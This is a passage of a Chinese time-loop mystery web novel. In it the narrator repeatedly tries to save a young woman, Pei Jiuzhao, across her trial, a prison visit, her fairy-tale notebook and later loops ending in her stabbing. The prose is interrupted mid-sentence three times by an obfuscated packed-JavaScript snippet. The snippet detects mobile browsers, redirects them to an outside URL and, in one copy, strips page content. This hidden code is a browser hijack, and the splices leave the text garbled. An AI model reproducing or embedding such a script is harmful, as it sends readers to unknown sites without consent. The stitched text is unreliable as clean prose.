“从前你与裴九昭形同陌路,此后更应如此……” “警官,我想你应该是搞错了一件事。”,尤澈连法院的门都见到了,也不怕下一秒被抓起来。 他舒了一口气后认认真真地说道:“虽然在你看来很不可思议,但是……” “我和她是朋友。” 小李没想到尤澈会在法院门口主动与一个即将被判刑的人扯上关系,而且裴九昭的罪不仅仅是简单的斗殴,那是杀人罪,判了之后不是死刑就是无期徒刑…… 他怔了一下,在心里仔细琢磨了尤澈的话,几秒后将自己的手臂收了回来,说道:“我带你进去……不过,你那些与裴九昭有关的话就不要再说了,安安静静地当个旁听者。” “裴九昭好不容易……将你推出杀人案的漩涡,不然你和她打了那么久的电话,根本洗不清的。” 小李看到他沉重地点了点头,伸手示意他跟着自己,随后带着尤澈绕了几段路从小门进了法庭。 法庭上正在播放相城区警方审讯裴九昭时的录音,只是十几分钟的录音就剩最后五秒了,尤澈将那五秒听得很清晰。 那是裴九昭的声音,虽然掺杂着些许嘈杂的电音,但是能很明确地听出她话语中的轻松和狂妄。 “……去晚了,可能就被野狗啃完了。” 录音播完了,法庭正坐的不知谁在安静的环境下问了一句,“裴九昭,这些罪证你可认?” 闻言,尤澈才意识到自己来是找裴九昭的,他的视线在法庭里搜寻,几乎是瞬间定格在了她的身上。 裴九昭的上半身全倚在靠背上,对整个法庭显不出来什么尊重。离得太远且侧对着旁听席,表情看不清,语气很是不屑。 “这话说的好笑……我若不认,这些罪证你们怎么找得到?你们的能力,别连自己都骗进去了……” “肃静!” “只管回答法官问的,其余的不要多说。” 裴九昭哼笑一声,将手伸到嘴边,做了一个拉拉链的姿势,随后双手举在两边,表示自己完全服从。 堂上法官一条条诉说裴九昭的罪状,坐在旁听席的尤澈一句都没听进去,他在发呆。 这是尤澈从没有见过的裴九昭……在他的视角中,裴九昭柔弱、啰嗦、可怜、边界感极淡……很平凡的一个人,被命运捉弄一次次地面临死亡。 可是明明知道自己死了那么多次的裴九昭,反倒冷静、聪颖、无畏、无惧…… 尤澈自认不如裴九昭,如若某天有个人告诉毫不知情的自己,他在循环中且就快死了,他很难有裴九昭的冷静。 她不像是个被时代“奴役”出来的人,倒像是难得的清醒者,对于救不回来的愚昧者极尽地嘲讽。 “裴九昭的辩护律师,请发言。” “不用替我减……”,裴九昭挪姿势的功夫往旁听席瞟了一眼,到嘴的话转了个弯儿,“还是辩护吧……” “只要不是死罪就行。” 那些专业术语尤澈听不懂,他只知道最后宣判的一审结果是,判了裴九昭二十年有期徒刑。 结束的时候,裴九昭身边有几个身着制服的魁梧警官将她用手铐铐着,带离了席。 他们刚拿出手铐时,尤澈就坐不住了,他刚准备站起来逆着人流上前,就被一旁的小李警官拦住了。 “裴九昭会被暂时送往相城区看守所羁押,如果她愿意上诉的话还有辩护减刑的机会。” 尤澈不想听这些几年几十年的,她原本就不需要坐一天牢,是他无能…… 他只是想去和裴九昭说几句话,问问她为什么不跟自己一起好好活着? “警官,你肯定知道怎么探望她的,对吧?” 话毕,远处的章以恩注意到了他们两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤澈进去前总想买点什么给裴九昭带过去,站到一条商铺街才猛然发现,他对裴九昭的兴趣爱好毫不知晓,甚至连她喜欢吃什么都不知道,更别说买礼物了。 他在那个街口傻愣愣地站了十分钟才狼狈地就近买了一根棒棒糖……草莓味儿的卖完了,他挑了一根看起来比较鲜艳的,橘子味儿。 尤澈一直以为探望裴九昭就跟电视剧里演的,两人隔着一扇厚厚的窗拿着听筒相顾无言。 实际上,等他走进去才知道,只是两个板凳面对面,外加门外站了几个警官罢了。 “你怎么来了?” 裴九昭对于他的到来有些惊讶,看到他从口袋里翻半天只拿出来一个橘子味儿棒棒糖后直接笑出了声。 “棒棒糖……哄小孩子呢?” 尤澈没有回答,坐在那张探望椅子上,本想将棒棒糖直接递给裴九昭,视线却扫到她的手正被铐住动弹不得,于是便低下头自顾自地剥棒棒糖纸。 那条街的店面老,卖的棒棒糖也老,糖纸不知用什么被糊在棍子上,特别难剥。 裴九昭没想到他来探望自己就只是在剥棒棒糖,更没想到自己就这么看着他剥棒棒糖剥了有三分钟,她好笑地摇了摇头,低骂道:“呆子……” 语气中不知有几分是骂在自己身上的。 尤澈还在攻克那根难缠的棒棒糖,他怕自己手中不琢磨些什么,面对面再说不出点什么实在是太过于尴尬。 他拆了一小层糖纸,做了老半天心理建设,才问出来几个字。 “为什么……” “为什么杀人?”,裴九昭嫌他入主题太慢,直接自己将话题接了过来,自问自答。 “因为他早该死了。” “不是……” 尤澈又剥了一小层糖纸。 “那就是为什么自首?” “不知是谁啰哩啰嗦讲一堆循环的事,因为我,你循环了九次……我总不能一直‘钓’着你吧?” “还不让我挂电话,话里话外就差把‘好好活着’四个字贴脑门上了。” “不是……” 其实到了真正与裴九昭面对面的时候,尤澈也不知道自己到底要问什么。 因为想问得太多太多,甚至无从下口。那些他想知道的事情,如果裴九昭想说早就说了,如今问了也没用。 “嗯……”,裴九昭仿佛也感受到了“千言万语堵在口头”,她收起自问自答的爽快模样,垂下了眼睑,继续看着尤澈剥糖纸。 尤澈费尽力气才将半颗糖从韧劲十足的糖纸中拽出来,问道:“外面那些非议……你没看过、也没听过吧?” 裴九昭认真地想了想,抬头看着他说道:“想点好的,最起码我没有像古代那样被拉去巡街……走一圈回来挂一身臭鸡蛋。” “言不锥心、语不杀人……总之,那些言论我听不见、看不见也摸不着,对我的伤害还不如臭鸡蛋,是不是心里好受一点?” 闻言,不知哪句话哪个字戳中了尤澈,他的眼圈蓦地有点红。情绪压回心里,随后他将糖纸剥落,起身将一根完整的橘子味儿棒棒糖近乎粗鲁地塞进了裴九昭的嘴里。 “闭嘴……” “……明明是我在哄你。” 裴九昭眨了眨眼,看到他的那副模样轻扯了一下嘴角,老老实实地“嗯嗯”两声。 她的嘴里塞了个根棒棒糖,尤澈又成了个锯嘴葫芦。眼下探望室的氛围倒不像是临别,而是久别重逢,相顾无言。 裴九昭咬着棒棒糖思索了一下,按响了手边的铃声,唤来了一个年轻的女警官。 她将棒棒糖推到一边,请求道:“姐姐,能不能将我前几天托给你的那个本子,给我的朋友?” 那名女警官看了看裴九昭,又瞧了瞧尤澈,皱着一双秀眉犹豫半天。 裴九昭看得出她有顾虑,笑着劝道:“都要当劳改犯了,外面的东西就如同垃圾,我让他帮我扔一下……” “又胡说!”,女警官瞪了她一眼,有些生气地说道:“你还可以上诉的,裴人中他……” 裴九昭反应很快地打断了女警官的话,“我为什么要上诉呢?” “监狱有吃有喝的,只是可惜……” 尤澈蓦地抓住裴九昭说话说一半的地方追问道:“可惜什么?” 这句话问过之后,谁都没有开口。 女警官看了裴九昭一眼,就出去拿东西了。 停了约莫有一分钟,裴九昭才笑着对尤澈说道:“没什么,一些不成器的小心愿罢了。” “时间是不是快到了?”,她看到从外面回来的女警官点了点头,视线落到她手中的本子上,犹豫了几秒,说道:“姐姐,有笔吗?” 裴九昭接过女警官递过来的黑笔,随便翻了一张空白页,在本子上潇洒且快速地写着,与此同时开口同尤澈说最后一句话。 “连累了你,往后……快乐一点,别总丧着脸。” 尤澈从裴九昭的手里接过本子,默默地看了她一眼,心下暗道“等我下次循环救你”,随后就被女警官请了出去。 他在回去的路上翻看那个本子,上面写满了大约是裴九昭自己编的童话故事,那张刚落笔的纸上飞扬地写着一句话。 我在笼子外自由得太久,早该还给你了。 11.第十次循环 早上八点半,尤澈的闹钟响了。 刚从睡梦中醒来的他按掉闹钟后静静地躺在宿舍的床铺上,清醒地望着天花板。 这次,循环的记忆碎片没有悄然流走,而是清清楚楚地在尤澈的脑海里待着。拥有完整记忆的不真实感让他怔了一会儿,掌心朝上伸出手放在眼前。 尤澈解锁手机后看了一眼日期,3月30日,是循环的那天。他下意识地点开新闻帖,刷了好几个都没有再看到有关于裴九昭的任何事情。 谢天谢地,他不用再说“同学请自重”就可以拥有记忆了,也不会白白浪费半日了。尤澈蓦地松了一口气,心里的石头落了地。 表面上看起来,循环是裴九昭将他拉进来的。实际上脱离循环的八循与时间变长的九循,包括如今有了记忆的十循都与他的个人想法脱不了干系。 仿佛背地里有一个操控者将裴九昭的求生权毫无保留地送给了他。如若说八循结束时,尤澈想救活的是裴九昭的躯体,免得她遭受非议,各种意义上是最不愿见她死去的人。 如今,他是最想让裴九昭干净地活着的人……他要救裴九昭,各种意义上。 上次出看守所的路上,关于前几次循环的特殊发展,尤澈想了很多。 七循时他打电话给丹伽,她开门后导致打草惊蛇……实际上,上次循环时只有没人挂这通电话,裴九昭不会出事。 九循时他将循环与裴九昭和盘托出,她不知从自己的话中提取到了什么信息,也不知与裴人中到底是何纠纷就背上“弑父”的标签。 所以,这次循环中,尤澈决定先按兵不动,既然有了记忆就先听听裴九昭在那通近四个小时的电话中到底说了什么。 如若真是家常般的胡天海地唠嗑,报警也来得及。如若其中有什么暗示性的话语,他再随机应变。 “尤澈?” 室友的声音从下面传来拉回了尤澈的思绪,他坐了起来看向在自己桌子旁边站着的男生。 “嗯?有事?” 男生连摆了几下手,解释道:“没事,只是之前早上起床,在寝室中都看不到你,今日你居然还在床上躺着。” “……不会是生病了吧?我有药箱,给你找几包药先吃着……” 眼看着室友还要继续操心下去,尤澈连忙打断道:“不用了,谢谢你,我没事。” 他怕男生继续询问,边下床边找了个理由胡扯道:“刚才在回导师信息。” “可是我见你没有拿手机……”,男生还没说完,就看见尤澈拿上自己的东西去洗漱了,只好将疑问憋了回去。 有了循环的记忆,尤澈连去图书馆的心思都没了,又不好在寝室待着,现在也不是接裴九昭的电话,他只能背着一个什么都没装的空书包在校园里来回游荡。 不知不觉间,他已经到了物理系招生办的门口。 办公室的门半开着,里面值班的同学看见他后,疑惑地开口道:“尤澈学长,你的排班在下午,怎么这个时候来了?” “是不是把什么东西落在这里了?” 尤澈也不知道自己怎么到这里来了,只能顺着他给的台阶下,忙应道:“丢了一个U盘,哪里都找不到,我来值班室看看……” “你忙着,不用管我。”,他想了想又补了一句解释道:“找到了我就在隔壁的桌子上学习,省得来回跑。” 看见值班的同学默认地点了点头,尤澈蓦地松了一口气,拉开空着的椅子,坐下来开始发呆。 只是这种等待比他经历过的任何考前、面试前的静候都要煎熬。这次再不能救下裴九昭,下次他就真的不知道该怎么做了…… 焦虑、不安的情绪一直在周围环绕,余光时不时地扫到那部接电话的座机,焦灼的心情成指数增长。 尤其是偶然一通电话打来,他的神经都会跟着一紧。 尤澈试图想点其他事情来缓解,正犯愁时瞥到了值班同学手中的笔记本,陡然回忆起裴九昭给自己的东西。 他之前认真地看过,那个牛皮纸封皮的普通本子上面满共写了四篇童话,故事情节基本上被他全记在了脑海里。 第一个故事名为“怪物”。 森林深处有一只极为丑陋且长满脓疮的怪物,大家都不愿往那里去。有一日,公主误入森林毒瘴之中,正巧碰到了那只怪物。 善良的公主不嫌弃它吓人的面貌,虔诚地朝它鞠了一躬,请求它将自己救出去并许诺怪物——无论它想要什么,自己都会替它找来。 怪物同公主说因自己面目可憎被森林众动物排挤,只能于森林深处满是毒瘴的地方生活。但它可以实现任何愿望,只需许愿的人做一件很简单的事情便可。怪物说你只需抚摸我一下我就将你送出去,公主欣然照做后被它送回了王宫。 几年后,国王王后因为衰老多了些许病症,善良的公主每日忧心忡忡,她想到了森林深处可以实现愿望的怪物,一个人进了毒瘴,许愿父王母后的身体可以好转。 怪物说你只需亲我一下愿望就可以实现,公主依言照做,回去后果然发现国王王后的身体好了起来。 又过了几年,公主所在的国家陷入了吞并战争中,但因为国力不强,不久后国破家亡,公主逃亡至森林深处被怪物救起,醒来后才发现它是被恶魔下咒的邻国王子。 王子不嫌弃她的身份,将她娶回了家,并承诺不再置身于国家战争中。两人幸福快乐地生活在森林深处。 第二个故事名叫“鹦鹉”。 小公主小时候在森林里面迷路了,被一只长得极其漂亮、眼睛像是发光的玻璃一般的鹦鹉引路带回了王宫,小公主特别喜欢这只会学舌的鹦鹉就将它留在了自己身边。 鹦鹉一直跟着小公主,直到她长大成人。邻国前来求娶的王子特别多,国王对外宣称谁能通过他在森林设下的重重关卡便能迎娶小公主。 期间小公主待着王宫中,瞧着年老的鹦鹉来来回回折返王宫与森林。小公主渴望地问它哪位王子最厉害,可惜年老的鹦鹉只会学舌,回答不了小公主的问题。 最终,一位帅气的王子通过了国王的试验,成功娶到了小公主。出嫁的那天,跟了自己快十年的鹦鹉老死,小公主非常伤心。王子派人去森林寻了一只类似的鹦鹉送给小公主,两人幸福美满地生活下去。 第三个故事叫“乌鸦”。 传闻森林里有一只说人话报丧的乌鸦,每逢王宫里的公主出嫁到邻国,总会出现在出嫁当日路途中的某棵树上,用难听沙哑的嗓子提醒公主迷雾中有怪物、应当返回王宫中,警告她们之前的公主就是因为不听劝有去无回。 每逢乌鸦出现在路上,森林里便会起浓重的雾。据它自己说,已经在这里提醒了十几代公主了,可是没有公主会听,她们只当乌鸦是巫婆派来阻止自己出嫁的恶鸟。 后来,一位极其厉害的王子听闻嫁过来的公主说起此事,单人提着剑奔赴森林中找那只平平无奇的乌鸦。他跋山涉水,在森林里寻找了很久,终于在某一天清晨找到了那只恶鸟,将它斩杀。 自此,公主出嫁的路上再也没有出现过迷雾。 第四个故事叫“巫女”。 生活幸福美满的王子公主生了一个可爱的女儿,但自从她降生以来,小公主出现在哪里便会引得天下大乱。 一开始,王子公主认为是巧合,可后来越发不对劲。国家的子民渴望将小公主锁起来、禁闭一辈子,不让她祸害王国。 公主舍不得小公主一辈子只能在封闭的屋子里生活,带着她去森林里求法力高强的巫女。巫女看了小公主后,告诉公主她是被恶魔诅咒了才会如此,只需要将小公主留在她身边三个月便可去除诅咒,时间到了只需在森林入口即可接回小公主。 三个月后,王子和公主在森林入口等了很久,终于接到了小公主。小公主果真与巫女说的一样,听话且不再引祸。 尤澈倒没有在童话内容上面发现什么奇怪之处,只是按理来说,写童话时排序一般只会用一二三四的序号来排,而裴九昭的那个本子上用的却是戏剧中的幕。 尤其是第一个名为“怪物”的故事上,标的是“第一幕及最终幕”,像是用四篇童话编了一次循环…… “学长,我先走了,拜拜。” 尤澈回过神来,抬头与那位值班的同学对视了一眼,说道:“好的,拜拜。” 明明已经中午了,他一点胃口都没有,坐在凳子上硬着头皮试图从那几个童话故事里找寻些线索。 结果四个故事,一个比一个美好圆梦,根本想不出来一点奇怪的且与裴九昭有关的东西。 只是……裴九昭在那个本子上随手写的话,他到现在都没想明白。 我在笼子里自由得太久,早该还给你了…… “笼子”到底是什么意思?为什么要还给他?听起来像是他被裴九昭锁到了“笼子”里面,后来要愧疚地将他放飞。 且不说一千个人眼中有一千个哈姆雷特,光是这句话找十个人就能有十种见解,尤澈第一次觉得自己难以理解一位同龄人。 裴九昭不像大学生,写得童话也不像小朋友,说话谜语人似的倒像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451034|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个半只脚入土的老人。 下午两点半,悠扬的上课铃声从隔壁楼传来。尤澈早早就挪到了可以接电话的那个桌子上,一动不动地盯着左上角的那部座机,放在腿上的手颤得厉害。 墙上的挂钟秒针走了一圈,座机的屏幕还是暗着,没有人打来电话。 ……怎么回事? 难道是因为他不会再重置记忆影响了循环的走向? 座机的屏幕陡然亮起,老式铃声响起。 像是肌肉记忆,尤澈在它响得一瞬间将听筒拿起来放到了耳朵旁,心里紧张地像是打鼓,一下子跳到了嗓子眼。 “老师您好,我叫裴九昭……” 听到裴九昭的声音,尤澈长舒了一口气,情绪慢慢地平静了下来。是他多疑了,差个一两分钟的,又没什么。 随后,尤澈竖起耳朵,认真地听着裴九昭的话并给出回应,像一个真正的热心肠陪聊。 deadline固然重要,但还是裴九昭比较重要。 “我想调剂到林城大学……” “……欢迎报考。” “……你是林大的研究生吗?” “我是物理系研二……” “林大的研究生累不累啊?游大的研究生……” “……合理运用时间就行。” “我给你讲讲游大校花,找了个其貌不扬的男朋友……” “……可能她眼光比较独特。” “我邻居家的布偶猫生了几只小猫……” “……挺好的。” “林大会拖欠研究生项目资金吗……” “……还好。” “我外公家的保姆儿子……” “……” 下午六点,陪着裴九昭唠嗑近四个小时的尤澈头疼得伸手揉了揉酸痛的太阳穴。但是也不是没有结果,他发现…… 裴九昭竟然真的能四个小时嘴不停地和一个陌生人讲八卦! 一点有用的信息都没有! 尤澈真是甘拜下风,佩服得五体投地。他只能采取那个边拖着裴九昭边报警的方案了。 “裴同学,你先不要挂,我去接杯水。” 电话那头滔滔不绝的裴九昭顿了一下,问道:“是不是太打扰你了?” “六点了……招生办的值班应该到点了吧?我先挂了吧。” 尤澈一听这话,刚站起身子又急忙坐下胡扯道:“先别挂!林大……考虑到最近各校复试名单出来了,前来问调剂的同学肯定不少,所以把值班时间延长到了……八点多。” 裴九昭闻言没有立马说话,这使得尤澈极为煎熬。他知道自己现编的理由极其扯淡,但是暂时想不到更好的了。 “同学,你其实可以与我说实话的……”,裴九昭笑了一下继续说道:“其实在招生办值班是不是有标准?比如……不能让来咨询的同学感受到你们的不耐烦、态度要好等等?” 听到前一句时,尤澈紧张地听筒都要拿不稳了。谁知裴九昭还帮他编了个理由,他顺着台阶承认值班工作确实有要求。 裴九昭听了后承诺她不会挂电话,尤澈松了一口气,拿起自己的手机出了招生办的门,在角落里帮裴九昭报警。 听到小李警官尽管联系相城区警方的承诺,尤澈转头回了招生办,拿起桌子上的水杯喝了几口水,期间故意将听筒放得很近,保证喝水的声音能够顺利地传到裴九昭的耳朵里。 随后,他对着听筒说道:“裴同学,我好了,你继续。” 傍晚六点五十分,裴九昭刚结束上一个话题,浅浅地打了个哈欠,带着些困倦问道:“你听我说了一下午,不烦吗?” “还行……” 裴九昭听了一乐,顺势调侃道:“看不出来啊同学,你也是一位爱吃瓜人士?” “我真的不会给你打差评的,你要是不耐烦可以跟我直说的。” “不会。” “那行吧……”,电话那头传来走动的声音,裴九昭的声音有些远,讲道“我也是第一次讲这么多话,先喝口水……” 听筒中猛地响起杯子落地的声音,紧接着是奔跑时鞋子与地板摩擦的刺耳声音。 尤澈闻声脸色一变,对着听筒大喊道:“小心!保护好……” 他还未说完,电话中陡然传来裴九昭的声音将话打断,她的音线压得比平时都要低,像是仇人见面才会有的狠戾语气。 “你报的警?” “我……” “嘟——” 尤澈刚张口,电话就被裴九昭挂了。 12.第十一次循环 早上八点半,尤澈按掉了刚响起的闹钟,躺在床上冥想。 上次循环被挂电话后,他又一次被章警官请到了上关区派出所,理由无非是裴九昭死前只给他打了一通很长的电话。面对警官的询问,尤澈一概以不知道为由混了过去。 他想不通……裴九昭为什么要挂他的电话? 最后那句话就像是在他耳边说的,像是对一个欺骗者的控诉,也像是他迫使一只坚硬的蚌张开了嘴却只是为了那颗珍珠,而蚌选择了毁灭。 裴九昭为什么不期望他报警,或者说……为什么不期望有人打扰他们的通话?难道她知道报警会引起凶手怀疑、提前动手,所以急忙挂了电话躲避刀伤? 那何必挂电话呢,直接往警方那边跑不就不怕凶手了? 又或者说,电话本就是凶手挂的……而裴九昭从一开始就与凶手达成交易,并承诺对方不报警不找人? 凶手如果不是傻子的话,肯定会对裴九昭有所防范,不会让她轻易拨打这通电话。 再或者……裴九昭就是那个杀害裴人中的凶手,她与自己掏心掏肺说了一下午转头却发现他报了警,气急败坏地挂了电话? 但如若裴九昭是凶手,又怎么会在循环中频繁地死去?而且警方就在外面的街道上,她直接避开搜查与人群跑了不就是了? 这也说不通,那也说不通……他甚至觉得裴九昭本身就是矛盾的,打电话却害怕警方、与他说了那么多却没讲到重点上、与陌生人交流了一下午却不知向熟悉的人求助。 这已经是第十一次循环了,尤澈还是不知道裴九昭为什么要同自己打这通电话、说那么多八卦。 如若说她知道自己被跟踪监视,在聊天中应该会说出来提醒他去报警抓凶手;如若她不知道,她没必要在乎报警这件事,还主动挂了电话。 思绪翻转中,尤澈蓦地想到了什么,这个想法惊得他猛然从床铺上坐了起来。 有没有可能是裴九昭杀了裴人中,然后裴人中的兄弟前来报仇? 刚惊然没多久,尤澈又将这个奇怪的想法否定了。 如果是来复仇的,又何必给这通电话一个面子、非得等到电话挂了再杀人?而且裴人中大中午还在吃饭、下午死了,哪个兄弟能这么快得到消息、且不怕坐牢给裴九昭来上十几刀? 如果裴九昭真的杀人但是自己死了……他还要救人吗? 关于这个问题,尤澈坐在床上想了很久。他现在可以轻松地离开循环,只要哪天烦了厌了便能直接拍屁股走人……只是他努力了十几次的循环看起来像是个彻头彻尾的笑话,且裴九昭跟着他死了活、活了死…… 他若是要将裴九昭救下来,就不能只救一个活在监狱里的人,就不能放任一个正年少的人半辈子蹉跎在那一片灰暗的天地。 只是,劝人放下屠刀又何止是嘴上说说? 尤澈第一次觉得循环不是来救人的,而是老天降下罪旨来折磨人的。无论裴九昭是否杀了人,她都要在循环中历经每一次死亡。 裴九昭如若知道自己在循环中死了很多次,该有多崩溃?这对于一个普通的人来说,未免过于残忍。 不管怎么样,他既然这次进了循环,就要履行对自己的承诺。 之前十次循环皆相隔百里,所有的动静、细节都只能通过电话来知道。好不容易将循环提前到自己醒来,他觉得自己还是要亲自去一趟游城。 哪怕只能在裴九昭受伤之前拉她一把…… 直到收拾完东西坐上了开往游城的列车,尤澈才意识到一件很严峻的事情。 已经循环了十次,除了裴九昭这个名字,他居然一点都不了解有关于她的信息…… 她的家在哪片居民区?她几点从游城大学回家?甚至裴九昭从始至终和自己联系时用的都是自家的座机,她的手机号是多少? 接了那么多通电话,尤澈连她家座机的电话也没有在意过…… 他唯一能联系上裴九昭的媒介竟只剩下林丹伽。 尤澈出了游城站,找了一处比较安静的地方拨通了丹伽的电话。“嘟嘟”之间,他正想着说什么话才能从她的口中得知裴九昭的电话,结果几十秒后听到的只有ai的sorry。 被挂断的提醒明晃晃地摆在眼前,他怔了一下,在人来人往的车站门口傻站了一会儿,蓦地想起来之前有一次循环自己问丹伽电话…… 章警官将裴九昭的通话记录单推到自己面前,上面有两通未接,第二个便是丹伽。 所以,上午是打不通丹伽电话的。 若说之前尤澈不以为然、从未将这件事和裴九昭联系起来,那现在他想问一句为什么呢? 裴九昭急急忙忙回家是否也与这两通未接电话有很大的关系?而且她曾多次与自己在通话中说过邻居家里的猫喵喵叫……裴九昭知道丹伽不在家? 一般来说出门会将电话带上、会把猫咪喂好……林丹伽像是急匆匆地出门了,下午却能在自己家里接到电话;裴九昭上午急匆匆地请假,她回家后丹伽就会在家。 她们为得是不是同一件事?裴九昭从丹伽未接的电话中得知了一些信息,丹伽接陌生人电话时怯怯的模样、不敢去敲门…… 尤澈觉得自己离真相很近了,所有的情绪细节他都能连接起来,却总是少了什么事实佐证、少了那个最原始的“为什么”。 为什么那件事可以鼓动两个人异常行动? 然而现在并不是深究这件事的时机,尤澈还有更重要的事情要做,那就是在偌大的游城市相城区中找到裴九昭的家,唯一的提示还是他上次在庭审时听到的,裴人中被弃尸之地——一栋烂尾楼。 烂尾楼在地图上不会标注,尤澈问了一个路人后才确定了它的位置,随后他发现烂尾楼周边的居民区特别多,且他并不知道裴九昭家到底离烂尾楼多远。 如果她借别人之手弃尸于烂尾楼而不在乎路程远近的话,最多可以辐射到相城区里的每个居民区……那这样,这个提示就相当于没有。 如果凶手可以从窗户逃离,那么说明裴九昭家最多最多在二楼。 只是一楼还好,他问完居民区里的人裴九昭家在哪之后,可以装作路过在窗户外晃悠……二楼的话,他就算敲门裴九昭也不会给他开门。 现在想如何进裴九昭家里还是早了,尤澈叹了口气,只能先找到烂尾楼这处标志性建筑,一圈一圈地往外找,就那么漫无目的地找。 他觉得自己像蜘蛛,利用结网寻找猎物。又或者,他自己便是猎物,正在自投罗网。 时间到了中午,进度反而慢了下来,居民区内的人大多在家里吃饭,很少出来。尤澈也就很难拦住一个住户问这片居民区里有没有一个人叫裴九昭。 而且他通常需要问好几位住户,尤澈不能保证同住在一片居民区之下,那些人就能认识裴九昭。 胃部生理性地收缩令人不适,尤澈一心扑在找人上没空理从身体里传来的“咕咕”声。 他低头扫了一眼时间,下午两点二十了,最内圈的居民区尤澈还没有排查完。两点半裴九昭打不通招生办电话的话,很可能有危险…… 时间紧迫令尤澈焦虑了起来,他在这片居民区走了几道街没见到一个住户……实在不行,他就只能寄期望于能在一楼看见裴九昭的身影。 两点三十分五十五秒,尤澈拐了个弯儿进入这片居民区最后一条没有排查的街道。他转身的那一瞬间,蓦地看见这条街最里面的一栋楼一楼的窗户大开。 心脏一下子提到嗓子眼,尤澈甚至觉得在那一刻自己都无形的手紧紧掐住了脖子,窒息感猛然上涌。直觉告诉他……那就是裴九昭家。 尤澈不知自己跑得算不算快,只觉得扬起的灰尘扑满胸腔堵得他难以呼吸,只记得那段路明明很平整他却快要摔在地上。 他跑到大开的窗户前甚至来不及平息喘气,刚准备摸上窗台越进去,一只颤抖的手僵在了原地,离水泥窗台只剩一拳的距离。 游城的阳光很足,明明尤澈跑了一身汗出来,却在此刻晒着温暖太阳的同时如坠冰窖,一身血液倒流起来,他甚至觉得自己下一秒就要被阳光冻伤了。 暖色光线绕过他的身子洒进屋子里,像是惧怕那暗红色般与裴九昭隔血相望。因为胃部受了十几刀,血管里的血倾巢而出顺着食道上流,裴九昭嘴里的血还在往外一股一股地涌。 她本来是仰头瞧着发黄的天花板,隐约中听到窗户那边传来与水泥沙尘摩擦的声音,艰难地将头偏了过去。 于是,尤澈便与裴九昭隔光与血相望。 明明是背着阳光,尤澈却觉得刺眼地让人睁不开,眼前被止不住的水幕洗礼,眼眶盛不住汹涌的泪水,一滴一滴地直往地上砸。 思绪随着时间涣散,些许记忆趁着虚弱冲破禁锢,裴九昭看着那个陌生的男生竟觉得有些眼熟。 瞧着他眼泪止不住地掉,裴九昭想笑一下安慰他,咧开嘴血却流得更多了,堵在嗓子眼让她难受地咳了几下,吐出几口血后扯到伤口疼得脸色越发苍白。 她尽力扯了一下嘴角,眼前开始看不清了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对面的女警官直直地看着他,回想起出警时确实见到这个男生愣愣地站着,手机摔到地上都不知道,面色惨白被吓得不轻。 她点了点头后问道:“你认识死者吗?” 章警官对于他的防备太大了,到现在尤澈都不能完全地从他的口中套出裴九昭的信息。但是对面的女警官,他们是第一次见面,有很大的机会。 尤澈想到此,依旧垂着头,刻意停了几秒才摇了摇头表示自己不认识。 年轻的女警官敲了敲门,得到准许后拿着一堆文件走了进来,将手中的东西放到桌子上后,扫了一眼看起来神情恍惚的尤澈,低声说道:“排查过了……他们两个没有任何交集。” “窗台上……”,年轻的女警官又看了一眼尤澈,用眼神问坐着的警官要不要当着他面说。 命案发生在中午,封锁现场的时候没怎么惊动周围的住户,面前的又是一个与死者毫无关系的陌生人。 对面的警官托着下巴想了一下,转头对那位年轻的女警官说道:“无事,说吧。” 年轻的女警官点了一下头,压着声音说道:“窗台上扫出来一枚44码男鞋鞋印,在隔了几道街外的垃圾桶中发现了实物,经过比对就是这双。五年前就不太流行的老式休闲鞋样……对裴九昭家搜查后,裴人中的鞋码就是44码,且他……” 坐着的女警官一抬手,那位正汇报的警官闭了嘴。她从文件中抽出那张鞋印的图,瞧了几眼后说道:“继续。” “在浴室中发现了一把长18厘米的水果刀,血迹还没有完全干,初步推测是杀害裴九昭的凶器,上面提取了一枚指纹。” 闻言,尤澈的手指猛地攥在一起,指甲近乎掐进掌心才稳住微微颤抖的身体。 凶器上的指纹……章警官为什么说刀柄上没发现指纹?是循环变了,还是章警官骗他? “比对结果出来了吗?” 站着的女警官点了点头,说道:“刚出来……是裴人中的。” 裴人中。 真的是裴人中。 真的是裴人中吗?还是对面的警官也在骗他?骗他后从他的反应观察是否为本案嫌疑人? “……还没有联系到裴人中吗?” “没有。” 坐在对面的尤澈思绪翻转间陡然听到警官间的对话,庭审时裴九昭的话蓦地在他的脑海炸开…… “……去晚了,可能就被野狗啃完了。” 到底是谁杀了谁? 13.第十二次循环 早上十点十一分,尤澈已经收拾好坐上了开往游城的列车,窗外绿油油的农田一块一块地朝后方飞奔,他的手机屏幕上是一串还没有拨打过的号码。 那是他上次循环从游城市相城区派出所回来后去物理系招生办的座机上查未接记录得到的裴九昭家里的电话号码。 尤澈没急着拨过去,因为这个时间点裴九昭大概率还在游城大学没有回家。 十一点整,列车停了下来,尤澈从人山人海中挤了出去,熟练地朝出口走去。 他出站后寻了一处比较安静的角落,拿起手机给裴九昭家里的座机打电话。耳边的手机“嘟”了许多声,就在他以为裴九昭家里没人时,电话被接通了。 尤澈还没来得及出声,电话那头传来了一个男人含糊不清却沉厚粗鲁的声音。 “谁啊!tm打扰老子……有屁快放!” 这应该是裴人中…… 